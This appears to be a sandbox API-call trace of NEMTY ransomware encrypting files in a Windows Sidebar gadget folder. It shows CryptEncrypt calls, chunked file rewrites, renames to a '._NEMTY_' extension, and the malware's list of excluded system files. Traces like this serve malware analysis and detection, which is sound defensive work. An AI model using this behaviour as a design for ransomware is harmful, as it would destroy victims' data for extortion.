lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mousedown.png", lpUsedDefaultChar=0x0) returned 26 [0131.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0131.212] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mousedown.png", lpUsedDefaultChar=0x0) returned 26 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mousedown.png", lpUsedDefaultChar=0x0) returned 26 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0131.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mousedown.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mousedown.png", lpUsedDefaultChar=0x0) returned 26 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340100 [0131.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0131.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401c8 [0131.213] Sleep (dwMilliseconds=0x5) [0131.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1dcf330, dwHighDateTime=0x1d561e8)) [0131.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1dcf330, dwHighDateTime=0x1d561e8)) [0131.225] GetLastError () returned 0x5 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.225] GetLastError () returned 0x5 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.225] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.225] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.225] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340290 [0131.225] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340290, pcchString=0x653e91c | out: pszString="PacCl5eKiI0WtPOf2NHSMN+P0+4xqAGtjs3OAWsVQ3Gsz3o0Lzup+GpxckZ0GWme\r\nibGuSEnc0n/IyMbmP0zFmkZQ9lfksTF/06LkzUqq4pkmfKlKe0VEAcuLCVeEV/sr\r\nahSmZTEf3zXR5ClX2AYWt12nGZsMygY8bL3jTMcrw+aISE5RB9u8h07qdNgyM0nz\r\nsjNUc4jXe0vAL7YIb2fbqRMs+hvggtqyYMD751PPYLJ8dzvweqOz7vyKSR+OrqAH\r\nxKsb0niHNrQ7v89k9iHpE4HbXzCGUboiYMuTLpbkd9dh9sndlMwSFo3LKROjXBU7\r\nOVX0++2yshs4T45bE0e2Nw==\r\n", pcchString=0x653e91c) returned 1 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340290 [0131.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.226] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.226] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.245] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.255] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.255] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.255] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.312] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.321] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.321] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.322] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.328] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.328] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.328] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.334] CloseHandle (hObject=0xffffffff) returned 0 [0131.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0131.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0131.334] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_right_mousedown.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_right_mousedown.png._nemty_kgobjgd_")) returned 0 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.334] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0131.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.335] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90ae467, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90ae467, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_right_mouseout.png", cAlternateFileName="")) returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2=".") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="..") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="...") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="windows") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="$RECYCLE.BIN") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="rsa") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="NTDETECT.COM") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="ntldr") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="MSDOS.SYS") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="IO.SYS") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="boot.ini") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="boot.ini") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="ntuser.dat") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="desktop.ini") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="CONFIG.SYS") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="RECYCLER") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="BOOTSECT.BAK") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="bootmgr") returned 1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="programdata") returned -1 [0131.335] lstrcmpiW (lpString1="button_right_mouseout.png", lpString2="appdata") returned 1 [0131.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0131.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseout.png", lpUsedDefaultChar=0x0) returned 25 [0131.335] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0131.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0131.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.335] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseout.png", lpUsedDefaultChar=0x0) returned 25 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0131.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.336] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_right_mouseout.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_right_mouseout.png", lpUsedDefaultChar=0x0) returned 25 [0131.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.336] 